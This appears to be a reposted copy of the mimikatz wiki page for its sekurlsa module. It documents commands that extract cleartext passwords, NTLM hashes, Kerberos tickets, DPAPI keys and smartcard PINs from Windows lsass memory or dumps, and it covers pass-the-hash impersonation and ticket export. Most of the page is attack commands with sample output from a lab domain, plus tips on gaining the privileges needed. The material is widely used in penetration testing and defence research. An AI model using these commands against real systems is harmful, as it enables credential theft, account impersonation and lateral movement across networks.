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module ~ sekurlsa

 
Benjamin DELPY edited this page a day ago · 43 revisions

This module extracts passwords, keys, pin codes, tickets from the memory of lsass (Local Security Authority Subsystem Service)
the process by default, or a minidump of it! (see: howto ~ get passwords by memory dump for minidump or other dumps instructions)

When working with lsass process, mimikatz needs some rights, choice:

  • Administrator, to get debug privilege via privilege::debug
  • SYSTEM account, via post exploitation tools, scheduled tasks, psexec -s ... - in this case debug privilege is not needed.

Without rights to access lsass process, all commands will fail with an error like this: ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005) (except when working with a minidump).

So, do not hesitate to start with: 

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # log sekurlsa.log
Using 'sekurlsa.log' for logfile : OK

...before others commands :wink:

The information that can be extracted depends on the version of Windows and authentication methods: [en] http://1drv.ms/1fCWkhu

Starting with Windows 8.x and 10, by default, there is no password in memory.

Exceptions:

  • When DC is/are unreachable, the kerberos provider keeps passwords for future negocation ;
  • When HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest, UseLogonCredential (DWORD) is set to 1, the wdigest provider keeps passwords ;
  • When values in Allow* in HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Credssp\PolicyDefaults or HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation, the tspkgs / CredSSP provider keeps passwords.

Of course, not when using Credential Guard.

Commands: logonpasswords, pth, tickets, ekeys, dpapi, minidump, process, searchpasswords, msv, wdigest, kerberos, tspkg, livessp, ssp, credman

logonpasswords 

mimikatz # sekurlsa::logonpasswords

Authentication Id : 0 ; 88038 (00000000:000157e6)
Session           : Interactive from 1
User Name         : Gentil Kiwi
Domain            : vm-w7-ult
SID               : S-1-5-21-2044528444-627255920-3055224092-1000
        msv :
         [00000003] Primary
         * Username : Gentil Kiwi
         * Domain   : vm-w7-ult
         * LM       : d0e9aee149655a6075e4540af1f22d3b
         * NTLM     : cc36cf7a8514893efccd332446158b1a
         * SHA1     : a299912f3dc7cf0023aef8e4361abfc03e9a8c30
        tspkg :
         * Username : Gentil Kiwi
         * Domain   : vm-w7-ult
         * Password : waza1234/
        wdigest :
         * Username : Gentil Kiwi
         * Domain   : vm-w7-ult
         * Password : waza1234/
        kerberos :
         * Username : Gentil Kiwi
         * Domain   : vm-w7-ult
         * Password : waza1234/
        ssp :
         [00000000]
         * Username : admin
         * Domain   : nas
         * Password : anotherpassword
        credman :
         [00000000]
         * Username : nas\admin
         * Domain   : nas.chocolate.local
         * Password : anotherpassword

pth

Pass-The-Hash

mimikatz can perform the well-known operation 'Pass-The-Hash' to run a process under another credentials with NTLM hash of the user's password, instead of its real password.

For this, it starts a process with a fake identity, then replaces fake information (NTLM hash of the fake password) with real information (NTLM hash of the real password).

Arguments:

  • /user - the username you want to impersonate, keep in mind that Administrator is not the only name for this well-known account.
  • /domain - the fully qualified domain name - without domain or in case of local user/admin, use computer or server name, workgroup or whatever.
  • /rc4 or /ntlm - optional - the RC4 key / NTLM hash of the user's password.
  • /aes128 - optional - the AES128 key derived from the user's password and the realm of the domain.
  • /aes256 - optional - the AES256 key derived from the user's password and the realm of the domain.
  • /run - optional - the command line to run - default is: cmd to have a shell. 
mimikatz # sekurlsa::pth /user:Administrateur /domain:chocolate.local /ntlm:cc36cf7a8514893efccd332446158b1a
user    : Administrateur
domain  : chocolate.local
program : cmd.exe
NTLM    : cc36cf7a8514893efccd332446158b1a
  |  PID  712
  |  TID  300
  |  LUID 0 ; 362544 (00000000:00058830)
  \_ msv1_0   - data copy @ 000F8AF4 : OK !
  \_ kerberos - data copy @ 000E23B8
   \_ rc4_hmac_nt       OK
   \_ rc4_hmac_old      OK
   \_ rc4_md4           OK
   \_ des_cbc_md5       -> null
   \_ des_cbc_crc       -> null
   \_ rc4_hmac_nt_exp   OK
   \_ rc4_hmac_old_exp  OK
   \_ *Password replace -> null

Also valid on Windows recent versions:

  • sekurlsa::pth /user:Administrateur /domain:chocolate.local /aes256:b7268361386090314acce8d9367e55f55865e7ef8e670fbe4262d6c94098a9e9
  • sekurlsa::pth /user:Administrateur /domain:chocolate.local /ntlm:cc36cf7a8514893efccd332446158b1a /aes256:b7268361386090314acce8d9367e55f55865e7ef8e670fbe4262d6c94098a9e9

Remarks:

  • this command does not work with minidumps (nonsense);
  • it requires elevated privileges (privilege::debug or SYSTEM account), unlike 'Pass-The-Ticket' which uses one official API ;
  • this new version of 'Pass-The-Hash' replaces RC4 keys of Kerberos by the ntlm hash (and/or replaces AES keys) - it permits to the Kerberos provider to ask TGT tickets! ;
  • ntlm hash is mandatory on XP/2003/Vista/2008 and before 7/2008r2/8/2012 kb2871997 (AES not available or replaceable) ;
  • AES keys can be replaced only on 8.1/2012r2 or 7/2008r2/8/2012 with kb2871997, in this case you can avoid ntlm hash.

See also:

tickets

List and export Kerberos tickets of all sessions.
Unlike kerberos::list, sekurlsa uses memory reading and is not subject to key export restrictions. sekurlsa can access tickets of others sessions (users).

Argument:

  • /export - optional - tickets are exported in .kirbi files. They start with user's LUID and group number (0 = TGS, 1 = client ticket(?) and 2 = TGT) 
mimikatz # sekurlsa::tickets /export

Authentication Id : 0 ; 541043 (00000000:00084173)
Session           : Interactive from 2
User Name         : Administrateur
Domain            : CHOCOLATE
SID               : S-1-5-21-130452501-2365100805-3685010670-500

	 * Username : Administrateur
	 * Domain   : CHOCOLATE.LOCAL
	 * Password : (null)

	Group 0 - Ticket Granting Service
	 [00000000]
	   Start/End/MaxRenew: 11/05/2014 16:47:59 ; 12/05/2014 02:47:58 ; 18/05/2014 16:47:58
	   Service Name (02) : ldap ; srvcharly.chocolate.local ; @ CHOCOLATE.LOCAL
	   Target Name  (02) : ldap ; srvcharly.chocolate.local ; @ CHOCOLATE.LOCAL
	   Client Name  (01) : Administrateur ; @ CHOCOLATE.LOCAL
	   Flags 40a50000    : name_canonicalize ; ok_as_delegate ; pre_authent ; renewable ; forwardable ; 
	   Session Key       : 0x00000012 - aes256_hmac      
	     d0195b657e63cdec73f32bf44d36bb12a62c928de6db9964b5a87c55721f8d04
	   Ticket            : 0x00000012 - aes256_hmac       ; kvno = 5	[...]
	   * Saved to file [0;84173]-0-0-40a50000-Administrateur@ldap-srvcharly.chocolate.local.kirbi !
	 [00000001]
	   Start/End/MaxRenew: 11/05/2014 16:47:59 ; 12/05/2014 02:47:58 ; 18/05/2014 16:47:58
	   Service Name (02) : LDAP ; srvcharly.chocolate.local ; chocolate.local ; @ CHOCOLATE.LOCAL
	   Target Name  (02) : LDAP ; srvcharly.chocolate.local ; chocolate.local ; @ CHOCOLATE.LOCAL
	   Client Name  (01) : Administrateur ; @ CHOCOLATE.LOCAL ( CHOCOLATE.LOCAL )
	   Flags 40a50000    : name_canonicalize ; ok_as_delegate ; pre_authent ; renewable ; forwardable ; 
	   Session Key       : 0x00000012 - aes256_hmac      
	     60cedabb5c3e2874131e9770c2d858fdec0342acf8c8787771d7c4475ace0392
	   Ticket            : 0x00000012 - aes256_hmac       ; kvno = 5	[...]
	   * Saved to file [0;84173]-0-1-40a50000-Administrateur@LDAP-srvcharly.chocolate.local.kirbi !

	Group 1 - Client Ticket ?

	Group 2 - Ticket Granting Ticket
	 [00000000]
	   Start/End/MaxRenew: 11/05/2014 16:47:58 ; 12/05/2014 02:47:58 ; 18/05/2014 16:47:58
	   Service Name (02) : krbtgt ; CHOCOLATE.LOCAL ; @ CHOCOLATE.LOCAL
	   Target Name  (02) : krbtgt ; CHOCOLATE.LOCAL ; @ CHOCOLATE.LOCAL
	   Client Name  (01) : Administrateur ; @ CHOCOLATE.LOCAL ( CHOCOLATE.LOCAL )
	   Flags 40e10000    : name_canonicalize ; pre_authent ; initial ; renewable ; forwardable ; 
	   Session Key       : 0x00000012 - aes256_hmac      
	     4b42cce01deffbfb0e67efc18c993bb52601848763aecf322030329cd1882e4c
	   Ticket            : 0x00000012 - aes256_hmac       ; kvno = 2	[...]
	   * Saved to file [0;84173]-2-0-40e10000-Administrateur@krbtgt-CHOCOLATE.LOCAL.kirbi !

See also:

ekeys 

mimikatz # sekurlsa::ekeys

Authentication Id : 0 ; 541043 (00000000:00084173)
Session           : Interactive from 2
User Name         : Administrateur
Domain            : CHOCOLATE
SID               : S-1-5-21-130452501-2365100805-3685010670-500

         * Username : Administrateur
         * Domain   : CHOCOLATE.LOCAL
         * Password : (null)
         * Key List :
           aes256_hmac       b7268361386090314acce8d9367e55f55865e7ef8e670fbe4262d6c94098a9e9
           rc4_hmac_nt       cc36cf7a8514893efccd332446158b1a
           rc4_hmac_old      cc36cf7a8514893efccd332446158b1a
           rc4_md4           cc36cf7a8514893efccd332446158b1a
           rc4_hmac_nt_exp   cc36cf7a8514893efccd332446158b1a
           rc4_hmac_old_exp  cc36cf7a8514893efccd332446158b1a

dpapi 

mimikatz # sekurlsa::dpapi

Authentication Id : 0 ; 251812 (00000000:0003d7a4)
Session           : Interactive from 1
User Name         : Administrateur
Domain            : CHOCOLATE
SID               : S-1-5-21-130452501-2365100805-3685010670-500
         [00000000]
         * GUID :       {62f69fd3-0a99-4531-bf94-7442fdf1e411}
         * Time :       01/05/2014 13:12:39
         * Key :        8801bde168af739ab81aa32b79aa0ee4c27cb9c0dc94b6ab0a8516e650b4bdd565110ae1040d3e47add422454d92b307276bebdba7b23b2b2f8005066ede3580

minidump 

mimikatz # sekurlsa::minidump lsass.dmp
Switch to MINIDUMP : 'lsass.dmp'

mimikatz # sekurlsa::logonpasswords
Opening : 'lsass.dmp' file for minidump...

Authentication Id : 0 ; 88038 (00000000:000157e6)
Session           : Interactive from 1
User Name         : Gentil Kiwi
Domain            : vm-w7-ult
SID               : S-1-5-21-2044528444-627255920-3055224092-1000
        msv :
         [00000003] Primary
         * Username : Gentil Kiwi
         * Domain   : vm-w7-ult
         * LM       : d0e9aee149655a6075e4540af1f22d3b
         * NTLM     : cc36cf7a8514893efccd332446158b1a
         * SHA1     : a299912f3dc7cf0023aef8e4361abfc03e9a8c30
...

Remark:

Dump from Works on
NT 5 - x86 NT 5 - x86
NT 5 - x64 NT 5 - x64
NT 6 - x86 NT 6 - x86/x64 (mimikatz x86)
NT 6 - x64 NT 6 - x64

Some errors:

  • ERROR kuhl_m_sekurlsa_acquireLSA ; Minidump pInfos->MajorVersion (A) != MIMIKATZ_NT_MAJOR_VERSION (B)
    You try to open minidump from a Windows NT of another major version (NT5 vs NT6).
  • ERROR kuhl_m_sekurlsa_acquireLSA ; Minidump pInfos->ProcessorArchitecture (A) != PROCESSOR_ARCHITECTURE_xxx (B)
    You try to open minidump from a Windows NT of another architecture (x86 vs x64).
  • ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000002)
    The minidump file is not found (check path).

process

searchpasswords

msv 

Authentication Id : 0 ; 3518063 (00000000:0035ae6f)
Session           : Unlock from 1
User Name         : Administrateur
Domain            : CHOCOLATE
SID               : S-1-5-21-130452501-2365100805-3685010670-500
        msv :
         [00010000] CredentialKeys
         * RootKey  : 2a099891174e2d700d44368255a53a1a0e360471343c1ad580d57989bba09a14
         * DPAPI    : 43d7b788389b67ee3bcac1786f01a75f

Authentication Id : 0 ; 3463053 (00000000:0034d78d)
Session           : Interactive from 2
User Name         : utilisateur
Domain            : CHOCOLATE
SID               : S-1-5-21-130452501-2365100805-3685010670-1107
        msv :
         [00010000] CredentialKeys
         * NTLM     : 8e3a18d453ec2450c321003772d678d5
         * SHA1     : 90bbad2741ee9c533eb8eb37f8fb4172b8896ffa
         [00000003] Primary
         * Username : utilisateur
         * Domain   : CHOCOLATE
         * LM       : 00000000000000000000000000000000
         * NTLM     : 8e3a18d453ec2450c321003772d678d5
         * SHA1     : 90bbad2741ee9c533eb8eb37f8fb4172b8896ffa

wdigest

kerberos

When using smartcard logon on the domain, lsass caches PIN code of the smartcard 

mimikatz # sekurlsa::kerberos
[...]
        kerberos :
         * Username : Administrateur
         * Domain   : CHOCOLATE.LOCAL
         * Password : (null)
         * PIN code : 1234

tspkg

livessp

ssp

credman

 

Sursa: https://github.com/gentilkiwi/mimikatz/wiki/module-~-sekurlsa

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